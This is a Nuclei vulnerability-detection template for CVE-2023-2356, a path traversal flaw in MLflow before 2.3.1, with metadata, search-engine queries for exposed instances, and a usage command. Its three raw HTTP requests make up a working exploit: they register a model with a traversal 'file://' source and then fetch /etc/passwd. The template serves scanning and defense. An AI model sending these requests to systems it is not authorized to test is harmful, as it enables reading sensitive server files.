Mlflow <2.3.0 - Local File Inclusion

ID: CVE-2023-2356

Severity: high

Author: Co5mos

Tags: cve2023,cve,lfi,huntr,mlflow,oss,intrusive,lfprojects

Description

Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.

YAML Source

id: CVE-2023-2356

info:
  name: Mlflow <2.3.0 - Local File Inclusion
  author: Co5mos
  severity: high
  description: |
    Relative Path Traversal in GitHub repository mlflow/mlflow prior to 2.3.1.
  impact: |
    Successful exploitation could allow an attacker to read sensitive files on the server.
  remediation: |
    Upgrade Mlflow to version 2.3.0 or above to mitigate the vulnerability.
  reference:
    - https://huntr.dev/bounties/7b5d130d-38eb-4133-8c7d-0dfc9a9d9896/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2356
    - https://github.com/mlflow/mlflow/commit/f73147496e05c09a8b83d95fb4f1bf86696c6342
    - https://github.com/Ostorlab/KEV
    - https://github.com/Ostorlab/known_exploited_vulnerbilities_detectors
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-2356
    cwe-id: CWE-23
    epss-score: 0.01406
    epss-percentile: 0.86426
    cpe: cpe:2.3:a:lfprojects:mlflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: lfprojects
    product: mlflow
    shodan-query: http.title:"mlflow"
    fofa-query:
      - app="MLflow"
      - app="mlflow"
      - title="mlflow"
    google-query: intitle:"mlflow"
  tags: cve2023,cve,lfi,huntr,mlflow,oss,intrusive,lfprojects
variables:
  str: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /api/2.0/mlflow/registered-models/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{str}}"}
      - |
        POST /api/2.0/mlflow/model-versions/create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name": "{{str}}", "source": "file://{{Hostname}}/../../../../../../../"}
      - |
        GET /model-versions/get-artifact?path=etc/passwd&name={{str}}&version={{version}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - root:[x*]:0:0

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: version
        group: 1
        regex:
          - '"version": "([0-9.]+)",'
        internal: true
        part: body
# digest: 4a0a0047304502207ba7bdc30b263f3646ac05a4cd047f0a7f2ff2387c805e73d4f7397587d2597c0221008193a389783090c595c219bed2ba55f974bfd0e9176f7083f60723a600798022:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-2356.yaml"

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